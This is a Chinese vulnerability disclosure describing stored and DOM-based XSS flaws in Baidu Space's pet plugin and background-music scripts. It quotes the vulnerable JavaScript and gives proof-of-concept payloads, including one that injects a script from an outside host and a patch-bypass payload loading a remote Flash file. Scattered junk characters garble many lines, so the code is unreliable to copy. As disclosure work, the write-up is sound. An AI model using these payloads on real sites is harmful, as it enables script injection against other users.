百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
6 ?) R- L/ h# F2 `
0 @- J' I1 C! }/ T3 Q0 p, G" u1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
% m3 Y/ Z, {3 B: B0 _2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 $ g. p8 `6 G8 Q3 S# `- ?# c
/ [: e+ L D" x% D7 T9 P1 F( s将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
- |# l* f; F+ \7 ~: H9 ~$ P& V6 u: g+ l其中BdUtil.insertWBR为 7 ?$ L; o. L% V& W4 q' x3 n
function(text, step) {
. U# A v' I) k7 z8 o var textarea = textAreaCache || getContainer(); $ @0 l6 \. B5 \4 F
if (!textarea) {
$ H5 U# e2 K2 y, ]5 Z+ S r return text; . M! P# C: _1 v! V; I
}
+ d) f ~# ]! i \# J) k' G! I! @ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 7 d# h2 x7 p6 b
var string = textarea.value; g. T2 c5 d- \5 H! S/ Q
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); # _( C% M" z [7 [
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
! _1 x1 x* j9 c* }, ?. b) d( ]- [( H return result; / `7 F( n+ B6 m* g! h2 t# r
} & h! @9 g ~: _0 Y; D; J
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 2 n h7 Z, X. z' h
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> . s& G8 @4 Z3 E( u0 v- P
- W5 H$ n2 w8 S. }* @3 v9 M0 t二:creatbgmusic() Dom-Xss Bug
0 c6 {% O7 M1 P. ] g$ k. Q" s7 ~) n百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 4 E1 H- a3 {8 j, D
+ q5 M$ Q1 \3 z4 L6 F8 }1 D2 X/ I. U
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: + |& D; R5 x. w6 L1 X: f' P" T
, q5 b% c2 f- D7 i/ C
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { c" \2 q3 ~: ~ ~: D7 K
//传入的murl赋值到bgmusic1和bgmusic2中 . H% Z$ c- E9 a0 E7 S
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
* \) G) y) N, d var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; - Y' J: j6 m5 W8 @2 M
if (musicnum <= 1) {
& U5 p8 F s- W/ O bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
d9 `: T$ X4 S: w }
. \, V" E0 h" f# ` `4 z0 p# b* k bgmusic1 += "</OBJECT>"; 8 e! j; E! @/ R. B8 k/ q
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ' O. n, H$ i4 H0 h1 w; X
if (musicnum <= 1) { / I# q$ g3 C, K% _2 M: \$ Q
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
0 c/ `! u4 h1 i# P/ E0 O; t" E }
! n' z9 b4 s" Q0 e* j& | bgmusic2 += "> </EMBED>";
/ x4 b( f8 t% Q1 \5 c var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . ~! I# \6 L. |- I& x) w$ o
var bgmus = detectWMP(); - d8 v5 z& n& i. k( ?! P1 _
if (functype == "FckMusicHelper") { * v/ ]( ~, U+ W+ s4 e R% j- p
if (bgmus.installed) {
3 c8 T) T7 l' f, y0 f if (bgmus.type == "IE") {
. n+ }: G: r. s0 x( z return bgmusic1; % A1 P: n4 o% A* ^% j/ @5 y6 l1 o8 h
} else if (bgmus.type == "NS") { * f* T6 U/ ?5 H: F4 c( v/ I' E
return bgmusic2; 3 k( r1 i0 y8 o3 I1 L3 T
} 1 b `5 j) j9 }4 f& L4 G
} else {
, p, y; g$ X# g# E0 U, \9 m+ W0 \" n+ t return bgmusic3;
9 r/ b* y3 q; H, G+ g }
, | w- @* Q+ {' @+ o } else {
0 w$ ]3 @/ X& q/ W* _' v# t if (bgmus.installed) {
. A m# i' b" K6 Q. h# O" ^* C$ J //document.write 直接输出bgmusic变量 导致xss ' {* ^$ \+ _; L" z0 Q1 u. W; ^) o
if (bgmus.type == "IE") { ; O0 @" B4 k1 d
document.write(bgmusic1); ! G) c, }% A$ [4 t3 W4 u$ ?' y
} else if (bgmus.type == "NS") {
7 }( O8 T& }- { S document.write(bgmusic2); " W9 u6 ?% u: P
}
3 ^. w$ f& l' r6 S } else { 6 @: X ]+ A$ e7 N6 R6 _
document.write(bgmusic3);
! C4 P8 L7 X2 S4 ], K9 } } 8 E# r; h) T2 Z& J, f
return ""; ; y" R% y4 x: [" r" _ `5 @
}
- i1 J# F I" m& q5 i7 j7 v}
2 E/ Q" O: T9 F. W* V6 n
9 Y" T7 y) e! r: ?在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
; U3 W0 j4 {; H% t1 H+ j
* R- c/ } Z3 K. Y* K3 Wfunction initBlogTextForFCK(){ % t, y5 K) h9 c% I; M) b
//fck init music
$ u+ i5 I* T6 ^0 lif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ) V4 G( r* G( V' J" [/ A) N# f
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 4 G2 C; b1 D9 s' s3 ]. X! ?
var isAutoPlay=true; : n7 V7 m) H5 m) G
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 9 I9 A% x Y) r
var img=imgBox;
% W, a+ l6 c" s" d8 `% X if(img.getAttribute(’rel’)){ ! ~& d( ~$ Q0 I2 _
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc $ G# r1 j0 P2 W& F$ K6 M
var musicDiv = document.createElement("SPAN");
" c3 E6 @( X3 n( b* Y8 J var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
3 A; c+ P4 X: C1 L+ W: s ]/ p
" b$ @0 X- A; o ..........................
( C$ y6 T- ]; D9 P. \* {
3 H7 x. v: b% N //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
+ F! N- z7 O' M8 \* W3 p var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 7 w& @0 J, l2 U# t
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
) Z+ S: {! E/ r0 T/ w musicDiv.innerHTML=shtml;
. n* h6 J- r. Y5 J i--;n--;
1 n; P) v/ u) x2 K% D5 t, x }
, J( [5 k# Q( [: ?/ b} 7 S0 S. i2 F. @
0 g8 S7 w$ s& w* E从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
8 ? u' l* S/ l3 r8 V4 V9 j, y
+ h4 M4 C6 B5 U4 m' W5 X测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> ! ~! O& e2 [- S8 P) t
N5 B3 c7 {1 M0 w等待官方补丁
/ N, i; S/ {( J& b9 L4 s7 k/ z0 {' x/ S5 y& ~% O, I
update 2010年5月13日 $ S7 y3 Q. |5 e+ l
; a" d# B* v* Y L官方补丁: ; M4 C5 q" o0 f
1 L: q* P# Z! P7 }
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ) W/ |' v5 D6 Z* G
改为: # v$ Q: W4 N! G' b9 P6 k) e/ Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); # C7 u7 f, }1 F8 X9 h" D
8 F4 \( R) A. F- j6 p7 o/ y. r
update 2010年5月13日 21:50:37
" A C8 I' A/ Y) ]' P% y) g
4 ?- O3 y/ o" X( {( ?( O- W5 I补丁存在漏洞 没有过滤" 可以继续跨:
+ N3 B! p; _$ ~7 C$ v& G0 ~0 d7 _) i' T
NEW POC:
9 V9 |; o% B2 Y) j, M+ _7 F- d; p! O2 ^! j6 I: X
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 5 x' p" v; R3 o) W
: i3 @) j \ D+ P' x+ H9 E
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
j& ~6 C! v) `4 t ' U" g, ?* o' X# v: j- v
|